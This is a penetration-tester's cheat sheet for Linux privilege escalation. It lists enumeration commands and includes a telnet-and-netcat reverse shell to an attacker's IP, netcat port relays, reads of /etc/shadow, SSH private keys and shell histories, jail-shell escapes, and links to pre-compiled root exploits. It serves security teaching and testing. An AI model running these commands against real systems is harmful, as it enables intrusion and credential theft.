Before starting, I would like to point out - I'm no expert. As far as I know, there isn't a "magic" answer, in this huge area. This is simply my finding, typed up, to be shared (my starting point). Below is a mixture of commands to do the same thing, to look at things in a different place or just a different light. I know there more "things" to look for. It's just a basic & rough guide. Not every command will work for each system as Linux varies so much. "It" will not jump off the screen - you've to hunt for that "little thing" as "the devil is in the detail".  
Enumeration is the key. (Linux) privilege escalation is all about:

• Collect - Enumeration, more enumeration and some more enumeration.
• Process - Sort through data, analyse and prioritisation.
• Search - Know what to search for and where to find the exploit code.
• Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box".
• Try - Get ready for (lots of) trial and error.

Operating System What's the distribution type? What version? cat /etc/issue cat /etc/*-release    cat /etc/lsb-release    cat /etc/redhat-release
What's the Kernel version? Is it 64-bit? cat /proc/version   uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz-
What can be learnt from the environmental variables? cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set
Is there a printer? lpstat -a
Applications & Services What services are running? Which service has which user privilege? ps aux ps -ef top cat /etc/service
Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check! ps aux | grep root ps -ef | grep root
What applications are installed? What version are they? Are they currently running? ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/
Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached? cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
What jobs are scheduled? crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root
Any plain text usernames and/or passwords? grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla
Communications & Networking What NIC(s) does the system have? Is it connected to another network? /sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network
What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway? cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname
What other users & hosts are communicating with the system? lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w
Whats cached? IP and/or MAC addresses arp -e route /sbin/route -nee
Is packet sniffing possible? What can be seen? Listen to live traffic # tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
Have you got a shell? Can you interact with the system? # http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/ nc -lvp 4444    # Attacker. Input (Commands) nc -lvp 4445    # Attacker. Ouput (Results) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!
Is port forwarding possible? Redirect and interact with traffic from another view # rinetd # http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
# fpipe # FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP] FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port
# mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080) mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)
Is tunnelling possible? Send commands locally, remotely ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig
Confidential Information & Users Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what? id who w last cat /etc/passwd | cut -d:    # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users cat /etc/sudoers sudo -l
What sensitive files can be found? cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/
Anything "interesting" in the home directorie(s)? If it's possible to access ls -ahlR /root/ ls -ahlR /home/
Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg
What has the user being doing? Is there any password in plain text? What have they been edting? cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history
What user information can be found? cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root
Can private-key information be found? cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key
File Systems Which configuration files can be written in /etc/? Able to reconfigure a service? ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null          # Other
find /etc/ -readable -type f 2>/dev/null                         # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone
What can be found in /var/ ? ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases
Any settings/files (hidden) on website? Any settings file with database information? ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/
Is there anything in the log file(s) (Could help with "Local File Includes"!) # http://www.thegeekstuff.com/2011/08/linux-var-log-files/ cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ # auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
If commands are limited, you break out of the "jail" shell? python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i
How are file-systems mounted? mount df -h
Are there any unmounted file-systems? cat /etc/fstab
What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID find / -perm -1000 -type d 2>/dev/null    # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it. find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied) find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm find / -writable -type d 2>/dev/null        # world-writeable folders find / -perm -222 -type d 2>/dev/null      # world-writeable folders find / -perm -o+w -type d 2>/dev/null    # world-writeable folders
find / -perm -o+x -type d 2>/dev/null    # world-executable folders
find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # world-writeable & executable folders
Any "problem" files? Word-writeable, "nobody" files find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files
Preparation & Finding Exploit Code What development tools/languages are installed/supported? find / -name perl* find / -name python* find / -name gcc* find / -name cc
How can files be uploaded? find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp
Finding exploit code http://www.exploit-db.com http://1337day.com http://www.securiteam.com http://www.securityfocus.com http://www.exploitsearch.net http://metasploit.com/modules/ http://securityreason.com http://seclists.org/fulldisclosure/ http://www.google.com
Finding more information regarding the exploit http://www.cvedetails.com http://packetstormsecurity.org/files/cve/[CVE] [url=http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE][/url] [url=http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE][/url]
(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk http://tarantula.by.ru/localroot/ http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/
Mitigations Is any of the above information easy to find? Try doing it! Setup a cron job which automates script(s) and/or 3rd party products
Is the system fully patched? Kernel, operating system, all applications, their  plugins and web services apt-get update && apt-get upgrade yum update
Are services running with the minimum level of privileges required? For example, do you need to run MySQL as root?
Scripts Can any of this be automated?! http://pentestmonkey.net/tools/unix-privesc-check/ http://labs.portcullis.co.uk/application/enum4linux/ http://bastille-linux.sourceforge.net
Other (quick) guides & Links Enumeration http://www.0daysecurity.com/penetration-testing/enumeration.html http://www.microloft.co.uk/hacking/hacking3.htm
Misc http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html